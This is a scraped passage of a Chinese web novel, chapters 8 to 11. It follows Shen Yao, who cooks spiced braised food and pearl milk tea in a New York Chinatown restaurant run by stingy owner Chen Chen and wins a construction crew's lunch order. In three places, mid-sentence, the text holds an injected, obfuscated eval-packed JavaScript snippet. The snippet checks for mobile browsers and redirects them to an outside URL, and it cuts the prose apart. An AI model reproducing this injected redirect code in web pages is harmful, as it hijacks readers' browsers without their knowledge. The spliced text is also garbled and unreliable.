卤味是昨天晚上就开始炖的，咕嘟咕嘟地冒着小泡，诱人食欲的酱香味在厨房里氤氲了一整夜。 除了一些素菜和鸡内脏外，沈瑶又往里面放了十多个鸡腿、两斤牛腱肉，这样碰到那些不吃内脏和鸡爪的客人，也能买些别的卤货。 可惜昨天沈瑶下班太晚，没来得及去超级市场买两只新鲜的鸭子，要不还能再做一些鸭脖、鸭腿、鸭锁骨。 两只一米见宽的深口锅装得满满当当，里面的卤货要是按照琼恩建议的定价全部卖掉，至少能有七百刀！ 沙沙，沙沙…… 轻轻推着锅里的白砂糖，沈瑶不禁打了个哈欠。 尽管沈瑶昨夜没怎么睡，但一想到今天要和琼恩他们一起出摊“赚大钱”，她还是努力地提着精神。 “为什么不可以？” “机器是店里的，我说不可以就是不可以。” “你之前说过，员工可以免费喝的。” “是啊，员工可以喝，但我可没说你们可以拿出去卖。” 厨房外，领班乔伊和陈晨的争执声越来越大。 陈晨坐在吧台前，用手里的报纸筒压在咖啡机上，模样像极了那些霸道的农场主，而乔伊和另外两人则是拎着保温桶，反抗他不平等条约的工人。 昨天他们商量好了，今天要拉着小推车去华尔街卖沈瑶的辣卤。 听说华尔街今天有工人要上街游行，趁着人流量巨大，卖给他们一些能补充体力、温暖身子的食物再合适不过了。 有吃的，自然不能少了喝的。 有什么能比热咖啡更合适的呢？ 乔伊暂时把保温桶放下，耐着性子跟陈晨商量道：“那我们买些咖啡豆，自己冲咖啡可以吧。” 陈晨淡淡然地放下了手里的报纸筒，“可以啊，那就按照市场价吧，一磅四刀五十分，你们要买多少？” “你是想敲诈吗？店里进货价才四刀一磅！” “都说了是市场价，”陈晨对他的愤怒不以为然，“我这是餐馆，不是商店，你要是觉得贵那就去商店买吧。” 陈晨平常是不在意他们薅自己羊毛的，但不代表会纵容。 出去摆摊？可以。 卖自己的咖啡赚钱？不行。 更何况还是免费拿自己的咖啡去卖，对于一个精明的资本家来说更是不可能的。 “我们可以给你分成，百分之十的利润怎么样？”另一个人试着让了一步。 陈晨：“不行，百分之三十。” “你！！！” 真是小气！ 昨天，陈晨说愿意免费借锅、借桶时，大家还夸他终于大方一次，结果今天就又暴露了他“吸血鬼”的本性。 这脸变得也太快了。 眼看着他们越吵越凶，沈瑶连忙挡在他们中间劝和，“算了算了，我们不卖咖啡了，换别的饮品卖也可以。” “换成别的？总不能卖果汁和热水吧。” 寒冷的冬季，没有什么能比一杯热咖啡更温暖了。 别的饮品？ 乔伊实在想不到有什么可以代替。 闻到焦糖的甜味从厨房里飘出来，沈瑶赶紧回去，把燃气的火调小了一点。 锅里的白砂糖已经变成了浅褐色的焦糖浆，不止有糖的颜色，还有从红茶叶中渗出来的暖色。 继续快速地搅拌着红茶糖浆，沈瑶拧开了瓶盖，将一瓶牛奶全部倒了进去。 嗤！ 高温的糖浆与微凉的牛奶相互交融，碰撞的瞬间，激起了一股交织着奶香和茶香的白雾，锅中的液体变成了偏淡的卡其色。 颜色很像拿铁，但香味却比拿铁更浓郁。 很快，锅里的红茶开始逐渐舒展着叶子，把自身的回甘全部释放到了醇浓的液体里。 “茶竟然还可以这样喝？”乔伊惊讶道。 他只见过别人用水泡的茶，用奶泡茶？还是头一回见。 “当然可以。” 说着，沈瑶便用滤网把红茶都捞了出来，关了火后，又往里面倒了很多黑乎乎的小圆球。 用木勺搅拌着锅里的奶茶，黑色的小圆球上下翻滚，宛如一颗颗小蝌蚪。 应该是像用这样的方式模仿咖啡豆吧。 等温度降下来一点后，沈瑶盛出一小杯递给乔伊，又往里面放了一根吸管，“尝尝？” 乔伊相信沈瑶的手艺，只是这黑色的“小蝌蚪”…… “好。” 捏着吸管，乔伊吸了一口杯子里的奶茶。 “唔！” 乔伊以为捏住吸管就不会吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578429|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那些黑乎乎的小圆球，可谁想到那小圆球那么软，一下就被他吸到了嘴里。 乔伊第一反应是想要吐出来，但嘴里浓郁的奶香和茶香却让他张不开嘴。 和大多数白人一样，乔伊并不爱喝茶，哪怕是欧洲流行的英式红茶，他也尝不出有什么好喝的，只喝得出苦味、涩味。 但是沈瑶煮的这一锅茶…… 茶的味道很淡，是淡淡的甘甜，完全融进牛奶里后没有丝毫苦味，反而还把牛奶本身的浓腻味道中和了不少。 这是一种很奇妙的味道。 像茶又像奶，混合了两种味道，却没有两种味道的短板，只保留了奶和茶各自的优点，让人忍不住想要用味蕾去细细品味。 试着咬一下嘴里的那颗“小蝌蚪”。 咯唧咯唧？ 他好像能听到自己咀嚼的声音。 是软的，哦不，是硬的，不对不对，是又软又硬的。 它的表面很软很滑，咬到中间时却很有韧劲儿，好像是用木薯做的，没什么独特的味道，只有一股淡淡的黑糖味。 这糯叽叽的咀嚼感太有趣了！ 而且它好像会“变身”，被咬开后，一下子就变成了奶茶的味道。 “味道怎么样？” 乔伊的嘴里又吸了满满一大口奶茶，一句话都说不出来，只顾着用力点头。 这饮品的味道一点不比咖啡差，不太能吃辣的人，刚好可以买一杯来中和卤味中的麻辣。 牛奶价格便宜一加仑就两刀而已，十几克茶叶的成本估计也就几十分，两样加起来的成本可比咖啡低多了！ 她是怎么想到把牛奶和茶放在一起煮的？ 上帝啊！沈瑶她真是个天才！ 见乔伊的反馈不错，沈瑶又给其他人都倒了一小杯，还有店里那位抠门的资本家，她也毫不吝啬地给他多加了一些珍珠。 小气归小气，毕竟他也借了这么多的工具，权当做对他的感谢了。 回到厨房，沈瑶又拿出了更多的牛奶和茶叶，准备多做一些珍珠奶茶，只等到琼恩来的时候，他们就能出发去摆摊了。 上午十点四十五，琼恩终于来了。 急吼吼地推开了餐馆的门，他的脸色却不太好：“沈，今天你不能去卖卤味了。” 沈瑶：“？？？为什么？” 9. 第 9 章 扶了扶头上被风吹歪的帽子，琼恩解释道：“华尔街的游行和你们华国的公司有关，我怕你去了会有极端的人伤害你。” 今天来餐馆前，琼恩特地先去了华尔街踩点看看情况。 还好是提前去了，这才能及时拦住沈瑶。 沈瑶更疑惑了，“华国的公司？” 品着沈瑶倒给自己的那一杯奶茶，陈晨幽幽地说：“你没看这几天的新闻吗？华尔街有家公司跟华国的公司有往来，还挪用了投资者几百亿的资金。” 说着，他便把手里那一份报纸摊开，放在了沈瑶面前。 沈瑶一向不关心什么时事热点，看了那份昨天的报纸才知道，是跟一家叫SEE的金融公司有关。 这些年，两国之间关系紧张。SEE的董事长乔纳森·斯通，非但不减少贸易往来，反而还挪用了公司的几百亿资金，投资了华国许多中小企业。 经过为期一个月的审判，乔纳森·斯通的身上背负着十多项罪名，幸好他目前人在华国，要是他回来，怕是会被判处无期限的监禁。 为了讨要自己的钱，同时抵制SEE公司、严惩乔纳森，便有了今天的游行抗议。 站在沈瑶的立场，祖国能得到外来者的帮助是好事，但，对于坐在全球经济中心的那些资本家…… 唔，琼恩说得对，这个时候那些人一定很讨厌华国的面孔，自己要是去华尔街摆摊，多半会惹麻烦。 “你还是留在餐馆休息吧，我们去就行。”琼恩主动提议道。 乔伊拍了拍沈瑶的肩膀，跟着说：“是啊，你忙了这么长时间，应该好好休息一下，卖卤货的事情交给我们就行。” 既然这样，沈瑶只好勉为其难地点点头：“好吧，那就麻烦你们了。” 为了准备今天要卖的卤货，沈瑶昨晚就没怎么睡，又在厨房忙活了一上午，这会已经困得快睁不开眼了。 趁着他们去华尔街摆摊，店里也没什么人，正好可以回仓库小睡一会。 店里只剩下陈晨和另一名服务员，再过一个小时就是午饭时间了，陈晨又看了一会新闻后便回到厨房备菜。 中午十二点二十四分，不知道是不是受到了游行的影响，整条唐人街的人流量都少了许多，来陈记餐馆的食客只有平时的一半。 陈晨倒有些庆幸，还好中午来吃饭的人少，否则肯定忙不过来。 “陈？” 推开餐馆的门，一名带着孩子的中年妇女热情地同陈晨打招呼道。 “你好，卡萝尔。” 走到厨房的出餐窗口，陈晨把刚出锅的炖鸡放在餐盘上，像老友一样与他们交谈道：“好久没见了，还是和以前一样吗？” “对，”放下手里的包，卡萝尔又补充道，“听说你们店里做了一种很好吃的鸡，里面有鸡爪、牛肉还有深色的素菜，也给我上一份吧。” 陈晨正庆幸着老顾客能来呢，一听到这话，笑容瞬间就僵住了。 鸡爪？素菜？ 她是怎么知道沈瑶做的辣卤的。 “我们店？”陈晨装作不知道地反问她。 “是啊，刚才路过华尔街，我看好多人手里都捧着你们陈记的盒子，里面的东西闻着好香啊。”从包里拿出纸巾帮儿子擦手，卡萝尔嗔怪道，“陈，我们认识也有几个月了，怎么没看你在店里卖过？” 陈晨不知道该怎么回答。 他没想到，沈瑶做得辣卤竟然能真的卖出去。 那可是华尔街，聚集着都市精英的地方，怎么会有人愿意吃这种不入流的东西？ 陈晨还想着他们能赔得血本无归，这样就能让沈瑶好好涨涨教训，以后踏实地为自己工作。 手里的勺子在锅里搅拌着，陈晨的脸色有些难看：“下次吧，今天做的都被带出去卖了。” 卡萝尔有些失望，她来陈记原本就是冲着路上那些人手里的卤货来的。 本想着来店里可以吃到刚出锅的，可现在就算再折回去，怕是也要卖完了。 遗憾地叹了一口气，卡萝尔又说：“好吧，那还是来两碗汤吧。” 陈晨：“好的，马上就来。” 想到卡萝尔好久没来，为了留住老顾客的心，陈晨又额外免费放了一些小菜。 两份炒土豆丝、两片面包，还有两…… 等等，店里的腌萝卜好像不够两份了。 小小的一捧，连一小碟都装不满。 他记得，卡萝尔吃中餐都爱配一些腌菜佐味，况且鸡汤喝多了容易腻，要是没有腌菜的清爽帮忙解腻，以她的口味，怕是很难喝完。 余光看向厨房旁边的冷库，陈晨的脑海里倏地闪过一个念头： 沈瑶好像腌了一些咸菜，整整两桶呢。 Ehh，只是“借用”一些而已，应该不会被发现吧？ 叮叮~ “八号桌。” 听到送餐铃响，服务员走到出餐口将两只餐盘送到了八号桌。 看着和以前一般无二的炖汤，卡萝尔提不起太多兴趣，不过既然来都来了，还是用勺子舀起一口刚出锅的鸡汤。 “妈妈，这个，好吃。”指着小碟子上的白萝卜，小男孩奶里奶气道。 她刚才没注意，一扭头，儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578430|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子已经快把赠送的那碟小菜吃完了。 卡萝尔用叉子帮它把鸡肉撕到盘子里，“少吃一点萝卜，多吃鸡肉。” 小男孩摇着头，又拿起碟子里最后一小截黄瓜塞到嘴里，像是吃到好吃的零食一样，一边大口咀嚼，一边心满意足地摇晃着身子。 鸡汤太油，喝了两口卡萝尔就有点腻了。 她先是吃了一口面包，又吃了一口炒土豆丝，最后才叉起一根白萝卜条，担心味道会太咸，所以只小口地咬下一点。 嗯？ 等等？ 看着剩下半根白萝卜条，卡萝尔惊讶地睁大了眼。 这味道…… 并没有腌菜过分的咸味，更没有长时间发酵后留下的酒精味，它还保留着萝卜本身的味道，只是没了萝卜的辛辣味，还多了几丝酸甜。 不止是味道，口感也更脆爽。 “咔嚓咔嚓”的感觉，像是嚼着一块快要融化的刨冰，把嘴里的油腻全都冲刷得干干净净。 再夹起一根黄瓜条，味道同样清爽，甚至还隐隐透着一点花椒的麻麻滋味。 她第一次吃到这种清脆的腌菜。 能看到里面放了辣椒、花椒，可却没有过分辛辣的口感，甚至不会在嘴里留下什么味道，只会把嘴里原本的油腻冲刷干净。 好吃！真的好吃！ 感觉这咸菜不止是佐鸡汤，配什么都会很好吃。 又夹起一小片甘蓝，虽然她还在失望于没能吃到辣卤，但这咸菜的清爽味道却让她不禁露出了笑容。 一盘小咸菜，没一会就被她吃完了。 她还有些意犹未尽，咂了咂嘴，比起十二刀一碗的鸡汤，她还是觉得这免费的小咸菜更好吃。 要是能再加一点，哦不，最好能单卖就更好了。 “陈？”拿起一张纸巾擦了擦嘴，卡萝尔又叫了陈晨一声，“可以过来一下吗？” “好，请等一下。” 擦了擦手，从厨房出来时，陈晨想着她多半是要跟自己叙旧，便接了一杯咖啡放在她手边，“今天吃得还好吗？” “太好了，是我在陈记吃得最好的一次。” 卡萝尔拿出钱包，又说：“我可以打包一些吗？” 陈晨：“当然可以。” “那给我打包一份鸡汤吧，”见他答应，卡萝尔这才放心地露出了笑容，“还有这种小咸菜，多少钱？” 陈晨摆摆手：“我们都是老朋友，这些咸菜不收钱，免费给你！” 卡萝尔笑得更开心了，“那太好了！麻烦给我装十份，谢谢！” 陈晨：？？？ 10. 第 10 章 陈晨怎么也没想到，第一个发现泡菜少了的，竟然不是沈瑶。 “沈的泡菜呢？怎么少了这么多！” 琼恩他们从华尔街回来时，已经是下午三点多了。 打开罐子看到原本满满登登的泡菜，只剩下最后一点，乔伊眼神里的期待瞬间像泡沫一样破碎。 前天，沈瑶说又腌制了一些解腻的泡菜，知道他爱吃萝卜，特地多放了胡萝卜和白萝卜，还说可以给他多装一点带回家吃…… 正在厨房切甘蓝和萝卜条的陈晨，手上的动作不禁顿了一下。 原本想趁着沈瑶发现之前，再切些蔬菜条放进去，没想到他们竟然回来得这么快。 “那么多卤味，你们都卖完了？”陈晨试着转移话题道。 “是啊。” 拍了拍腰间的钱包，琼恩坐回到收银台前，数着今天赚来的钱。 整整两大桶的辣卤，全部卖了个干净，还有那一桶奶茶，也只剩下最后一点。 售卖过程要比他们想象中曲折一点，又是鸡爪、又是内脏，本就不是国人爱吃的食物，打包盒上还印着“陈记”的中文标识，更是无人问津。 可那句俗语怎么说来着？ 酒香不怕巷子深，只要味道好，不怕没人来买。 开始的一个小时，确实没人肯走近看一眼。 用一锅颜色看起来难看的酱汁，泡着一堆没人会吃的鸡杂碎和乱七八糟的素菜，有什么可吃的？ 可等到临近中午，游行的人因为消耗太多力气而产生饥饿感时，这阵阵的浓香却勾起了他们肚子里的馋虫。 “来一根鸡腿吧。” “好的，还要别的吗？” “不了。” 大的冷天，吃着一根还温热的卤鸡腿，微微的辣味很快就驱散了他身上的寒意。 男人一开始只想着垫垫肚子，可还没走出两步就忙不迭地折回来，重新把打包盒打开：“那个……再给我加一点这个和这个吧，你们这什么卖得最好？也给我加一份。” 来买的食客大部分和他一样，起初只是猎奇，可当他们尝到这浓酱卤香的滋味后，纷纷要求加量。 这是他们从未吃过的味道。 不能说有多么惊为天人的美味，但就是有一种让人忍不住想把手指嗦干净的魔力。 睡了几个小时，沈瑶的精力也恢复得差不多了。 从仓库出来时，乔伊急着跑来向她告状，说不知道是谁偷吃了她腌的泡菜。 “不就是一罐子咸菜嘛，又不是什么珍贵的食材。”放下手里的刀，陈晨随意地洗了一把手。 他打算去收银机里拿点钱赔她。 不就是一点泡菜吗？他买了！ 沈瑶一点也不着急，晃了晃罐子里剩下的泡菜汁，淡淡地说：“没关系，想吃我再做一点就好。反正这原本就是给大家准备的，谁想吃就吃吧。” “可这是你花了钱的。” 沈瑶只是笑笑，“一点小钱而已，平常咱们在店里喝咖啡，也没见陈收过我们钱啊。大家都是同事，不用太计较。” 从厨房走了出来，沈瑶的话听得陈晨耳朵通红。 想了想后，他并没有走向收银机，而是转身接了一杯热咖啡，回去后交到了沈瑶手里：“喝点咖啡提起精神，别等到晚上客人来了再打瞌睡。” 陈晨放不下老板的架子，哪怕是关心的话，也说得没有一点温度。 “谢谢。” 接过他递来的咖啡，沈瑶和乔伊他们一起来到琼恩跟前，等他数清楚今天的收入。 “三十六，三十七……加上这七百刀，一共有七百三十七！” 看着桌子上厚厚的几沓绿票子，每个人都爱不释手地拿起来摸了一遍。 “七百三十七刀？这么多？！” “都跟咱们店一天的营业额差不多了！” “天呐，要是每天都能卖这么多……沈，你要成富翁了！” 接过他们递来的钱，沈瑶谦虚地笑道：“也是我们运气好，碰上了游行，换成平常还不一定能赚这么多呢。” 挑出其中面额大的那些，沈瑶给他们每个人都分了一百刀，“还是要谢谢你们的帮忙，没有你们，我做的卤味肯定没办法这么顺利卖出去。” “太客气了，我们都是朋友，这都是该做的。” “是啊！反正没事做，帮你卖卤味也算是兼职了。” 一百刀，可比在陈记上班赚得多多了！ 唉~想想平时抠门的陈晨…… 真是奇怪了，同样是黄皮肤的亚洲人，陈和沈怎么差距这么大呢？ 接过沈瑶递来的钱，十多年数钱的经验让琼恩觉察到了一丝不对劲。 自己的这份好像更厚了很多。 一百八十刀？ 这么一分，沈瑶就只剩下一百五十七刀了。 “这……” “收下吧，”沈瑶将手搭在那一沓钱上，“谢谢你的主意，要不我们还赚不到这么多钱呢。” 琼恩：“可是你还需要很多钱才能办签证。” 沈瑶耸耸肩：“慢慢来，有你们肯帮我，还怕以后赚不到更多的钱吗？” 看向身旁这个二十来岁的姑娘，除了感动之外，琼恩更多的还是对她的欣赏。 能有这样的胸怀，以后她肯定能赚更多的钱！ 赚了这么多钱，大家都想着好好庆祝一下。 “去吃牛排？整天都吃鸡肉，我都快长毛了。” “我觉得可以，只是现在已经不是营业时间了。” “没关系，我们可以买回来吃，顺便再在路边买几个三明治、炸薯条。” …… 牛排、三明治、炸薯条。 乔伊的提议听得大家口水直流，可沈瑶却提不起什么兴趣。 她不爱吃这些，比起煎到半生的牛排和凉的三明治，这大冷的天，她还是更想吃一些热乎乎的东西。 “大家既然想吃牛肉的话，要不让我来做？”捧着手里的热咖啡，沈瑶提议道。 “好啊。” 琼恩第一个表示赞同。 沈瑶的手艺他最清楚了，普普通通的米饭都能做得好吃，更别说是牛排了。 “那我去超市买牛肉！”话音刚落，乔伊也赶紧举手，“还需要别的吗？” 沈瑶：“都行，你们想吃什么就买一点，我可以看着做。” 他们好喜欢听沈瑶说这样的话。 好像无所不能的她，能满足他们所有关于美食的愿望。 从椅子上站起身，乔伊正要出门，厨房里的陈晨却叫住了他，“不用去买，冷库里有一块两磅重的牛肉，蔬菜什么也不缺。” 摘下腰间的围裙，陈晨装作不经意地拿起报纸，解释说：“前两天买多了，今天要再不吃的话就要扔垃圾桶了，你们吃吧。” 出于对陈晨的了解，乔伊问：“这次要赚我们多少钱？” 陈晨戳了他一眼，“免费。” 呵，开玩笑。 自己又不是刻薄的守财奴，难道就不能慷慨一次吗？ 来到厨房，在拿起菜刀的那一刻，沈瑶的精神瞬间抖擞了几分。 铛铛，铛铛铛…… 咚咚咚，咚咚咚…… 快速处理着各样食材，沈瑶就像是指挥家一样，熟练地用厨具奏出一串串交响乐。 用手简单试一下油温，然后将牛肉放入，快速滑炒十几秒后捞出。沥油保留部分底味，再把洋葱炒香，把尖椒炒到断生，然后下入牛肉翻炒，又随手加入一些调味料。 轰，轰！ 牛肉随着炒锅前后翻动时，锅里竟迸出了一股股火焰。 围在厨房门口观看，这样的厨艺，在他们的印象里，只有高档餐厅的主厨才能做到。 经过火焰的激发，牛肉味裹挟着尖椒和洋葱的香气快速从锅中溢出，一阵阵地朝众人袭来。 沈瑶把时间掐算得刚好，尖椒牛肉出锅的同时，旁边蒸锅里的米饭也好了。 叮铃铃~ 不过，更巧的却是突然被推开的餐厅门。 “欢迎……光临。” 下午一般很少有食客，再加上隔得时间不久，所以乔伊一下子就认出了他。 是上次的那个装修工。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578431|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又是他！ 上次，就是他大下午的跑来买饭，让沈瑶分给他了一碗蛋炒饭，害得他们都没吃够。 怎么这次又来了？ 大口吸吮着空气中的阵阵牛肉香，卡尔那松弛又沉溺的表情像是吸X一样享受，自觉地往店里走近几步，迫不及待地看向了厨房的出餐口。 “出锅啦~” 将那一大盘尖椒牛柳放在出餐口，卡尔的目光一下子就锁定了那香味的来源。 他还对上次的蛋炒饭念念不忘，这段时间，他在唐人街换了好多家店，可惜都吃不到那天下午的味道。 他其实并不爱吃米饭，可一想到那天粒粒分明、嚼劲十足的米饭，还有松软可口的鸡蛋，口水就会控制不住地上涌。 今天终于又让他找到了相似的味道，哦不，不是相似，是更上一层楼的香味。 直到看见沈瑶从厨房出来，卡尔才隐隐有了猜测：上次的蛋炒饭之所以好吃，会不会因为是她做的？就像今天的牛肉香，也是他从来没在别家中餐馆闻到过的。 “你好，请问要吃些什么？”陈晨拿了一份菜单，主动招待他道。 坐在吧台的高脚椅上，卡尔刚接过菜单就给合上了，目光一直盯在那一盘尖椒牛柳上没有离开，“就这盘牛肉吧。” 众人：？？？ 什么意思，又来抢！ “不好意思，这是我们的员工餐。”乔伊果断拒绝道。 卡尔将安全帽放在手边，“没关系，我可以加钱。” 乔伊：…… 有钱了不起啊！ 但是，陈晨可不会跟钱过不去。 一听他肯加钱，赶紧一口应下，还主动把那盘尖椒牛肉给送到他面前：“可以可以，那这盘就归你了。” 周围的那一双双的目光实在太凌厉了，卡尔还没拿起叉子，都能感觉到他们把自己剐了一遍又一遍。 于是，在他们用眼神把自己生吞活剥之前，卡尔退了一步，“不用这么多，一人份的就够了。” 有客人能来吃饭，沈瑶也没觉得有什么，毕竟客人就是上帝嘛，更何况他还愿意付双倍的价钱。 随后，还把剩下不多的泡菜捞出来了一些放在盘子里，“这是店里免费赠送的，你尝尝看。” 沈瑶只顾着招待客人，丝毫没有注意到，身后那一张张快要碎掉的表情。 分掉自己的炒菜、米饭还不够，还把泡菜给分走了…… 他哪里是上帝，分明就是贪婪的魔鬼啊！ “这样吃会好吃一点。” 沈瑶一边说，一边主动帮他把尖椒牛柳盖在了米饭上。 珍珠似的米粒被油润的汤汁这么一浇，瞬间变成了诱人的琥珀色，试着用勺子将它们搅拌在一起，牛肉和尖椒的香气很快与米香融为一体。 舀起一勺放进嘴里…… “oh，上帝啊！” 那一刻，他的舌头感受到了前所未有过的高|潮。 滑嫩的牛肉上沾了一些黑胡椒碎，和煎牛排的味道有些相似，可滑嫩鲜美的口感却是任何煎牛排都比不上的，配上尖椒后味道也不会太腻，还有那有嚼劲的米饭。 吃饭，原来不止是为了填饱肚子，更是一种享受。 卡尔不知道该怎么形容这种好吃的味道，每一种食材的味道他都不陌生，但交织在一起却是他从未品尝过的美味。 再尝一口免费赠送的小泡菜。 嘎吱~ 这微凉的爽脆同样惊艳，细细咀嚼，满口都是清爽酸甜的滋味。 一口接着一口，他只恨这餐馆的勺子不够大，没办法一次性往他的嘴里塞得很多。更恨自己的语言太匮乏，除了“美味”之外，实在想不到什么更好的形容词。 “小姐。” 不舍得咽下最后一口米饭，卡尔朝沈瑶招了招手。 以为他要结账，沈瑶便顺便拿了账单走过来，“你好，双倍价钱的话一共是十五刀。” 卡尔不急不缓地拿出一张二十的面额放在桌子上，随后又拿出了一张五十的面额放在旁边，“小姐，我想请你负责我们施工队的午餐，请问可以吗？” 11. 第 11 章 卡尔特地强调了，要沈瑶来负责他们的午餐。 “这五十刀是定金，午餐做什么都可以，我们一共有六个人，按照一百刀的标准来就好。” 卡尔没有规定菜式和菜色，因为他相信，只要是沈瑶做的，不管什么都一定会很好吃。 看着桌面上放着的五十刀，陈晨赶忙往前凑过来，替沈瑶收下了：“我们店在唐人街的口碑很好，交给我们，你就放心吧。” 一百刀并不算大钱，但像陈晨这样的人，是不会嫌弃钱少的。 “不好意思，你误解我的意思了，”卡尔干巴巴地点点头，把钱从他手里抽出来，重新递到了沈瑶面前，“我是想请这位小姐负责，不是你们这个店。” 一瞬间，笑容僵在了陈晨的脸上，眼角微微抽搐，模样好不尴尬。 卡尔：“做什么都好，只要你来做。” 沈瑶有些惊讶，但面对他的信任，还是欣然接受了他的钱：“好的。” 拿起吧台上的笔，卡尔又在餐巾纸上写下了一个地址，“明天下午两点，送到这个地方。” 接过纸巾，沈瑶再次点点头：“没问题！” 这是沈瑶接到的第一个外送单子。 她认出了纸巾上的地址，是附近正在装修的一处大型商场。 商场的施工时间少说也要一两个月，而且里面肯定不止一支施工队，要是能借着这一单承包所有施工队的午餐，那距离她的签证，就能更近一步了！ 第二天上午，沈瑶一早就起床准备卡尔他们的午餐。 六个人、一百刀，为了能够快速打响自己的口碑，沈瑶把自己的利润让到了百分之二十，剩下的钱全都用来购买食材。 因为要用到店里的厨具和调料，还要再给陈晨百分之十，所以最后只剩下七十刀。 这是沈瑶第一次出来采购食材。 事实证明，她低估了这七十刀的购买力。 排骨、鸡翅、牛腩、鱼、蔬菜……每样各一点，七十刀能买到的食材，完全可以做出十个人的菜量。 回到厨房，蒸上一锅米饭后，沈瑶便系上围裙开始准备炒菜。 嗤！ 改过花刀的鱼肉经过半小时的腌制，让每一块肉都吸满了调料的味道，下锅时，滚烫的热油瞬间激发出了其中的香味，当表面的鱼皮收紧后再改为小火慢煎，然后依次放入蒜片、姜丝、青红椒，以及事先调好的料汁…… 锅里“咕嘟咕嘟”的泡泡，每一次破碎都会散发出阵阵鲜香。 趁着锅里的汤汁还没收干，旁边的那一口锅里，沈瑶又把焯好的猪肉片捞了出来。 国外的猪没有腌割，所以公猪的肉里会带有很重的骚味，不过用加了料酒和葱姜的水焯一遍，就能去掉杂味。 把锅烧热后下入焯过水的肉片，慢慢煸出猪油然后再加入没有用完的青椒和蒜片，顺手拿起小勺随意地扫取着那些调料，掂起锅子快速翻炒，又是火焰与菜肴的一曲交响乐…… 沈瑶准备的大多是快手菜，除了那条红烧鱼和番茄牛腩之外，其他的菜色很快就能出锅，然后打包装起来。 临近中午，店里来了不少的客人。 原本是冲着陈记的炖汤来的，可店里残留的炒菜香却勾起了他们另外的食欲。 “这是什么味道？可以给我来一份吗？” “是上新菜了吗？怎么从前没有在陈记闻过这种味道？” “有的，这是辣椒和肉的味道，只是和以前的不太一样，应该是改了配方。” 陈记的菜单上也有各种炒菜，可他们却从来没有闻到过让人这么有食欲的香味。 同样是鱼，陈晨做出来的单纯是鲜，但这空气中的鱼味，味道却更加有层次，光是闻着就令人不停地分泌口水，甚至脑海中还能想象出它摆放在餐盘上的样子。 面对客人们好奇的询问，陈晨的脸都快黑了。 好歹他也是陈记的第三代传人，从小跟在爷爷身边学习，难道自己的手艺还比不上一个二十来岁的女人吗？ 沈瑶没有留意陈晨表情的变化，因为对她来说，只要食客能吃得开心就好。 为了帮店里多赚一点钱，沈瑶主动提出，要是客人想吃她炒的菜，她可以去厨房帮忙。 但是，陈晨却不想她再进厨房了。 “时间快到了，你快去送饭吧。”切着案板上的菜，陈晨阴沉沉道。 抬头看一眼钟表上的时间，“店里这会客人正多，况且还有一个半小时呢。” 陈晨：“你走过去也需要时间，你还是提前去吧，他们忙得过来。” 余光看向墙角的那辆小推车，陈晨担心，她要是再不走的话，小推车里装着的那几盒还温热的炒菜，可真要让陈记的顾客们变心了！ …… 下午一点，第五大道。 房地产商耗费近亿建造了一处大型商场，许多投资商也相信，这里以后一定会成为消费者眼中的天堂。 为了让这处“天堂”的品味更加高级，这里的一楼入驻了许多一线品牌，每一家店铺都会装修出自己的特色。 而越往上层，品牌的等级就越低，在装修的投入也会减少。 滋滋，滋滋…… 嗡嗡嗡！嗡嗡！ 中午的休息时间，商场里许多的装修队都去吃饭了，偌大的商场里，只有四楼的几处商铺里还传出电钻的机械运作声。 刚装修那几天，雇主还会提供免费的午饭，后来或许是觉得成本太高，便只给午餐补贴，不再提供午饭。 擦了一把头上的汗，从隔壁飘来的那股若有若无的可可香，让卡尔不禁咽了咽口水。 “可可派？炸薯条？！” “大家辛苦了，多吃一点，好好补充体力。” “这家的派很难买，你一定排队很久吧。” “没关系，大家吃得开心就好。” “今天的煎鸡排真的好嫩！” “竟然还有蔬菜沙拉，真是太丰盛了！” 不止是卡尔，听到隔壁吃饭的声音，其他人也放下了手里的活儿。 “麦克？” 端着盘子从隔壁跑来，男人向好友问道：“你们今天中午吃什么？” 下意识看了一眼正在收拾电线的卡尔，名叫麦克的男人摇摇头。 吃着盘子里的煎蛋，男人继续故意打趣他们说：“不会又是泡面吧？” 男人都爱面子，尤其是当了领导的男人。 为了让更多的人追随自己，扩大自己装修队的规模，队长都会对手下的员工很好，除了给出让他们满意的工资外，最能够体现的，就是这每天的员工餐。 人是铁、饭是钢。 吃得饱才有力气干活，吃得好才能让人心甘情愿地干活。 为了证明自己是个出色的队长，各个装修队的负责人每天都变着花样给工人们提供伙食，前几天赶上周末，听说楼下还有个负责人自掏腰包请客吃牛排！ 摘掉头上的安全帽，艾伦替麦克回答说：“是中餐。” “中餐？”男人笑得更大声了，“不会是上次特意跑去吃的鸡蛋米饭吧？哈哈哈！” 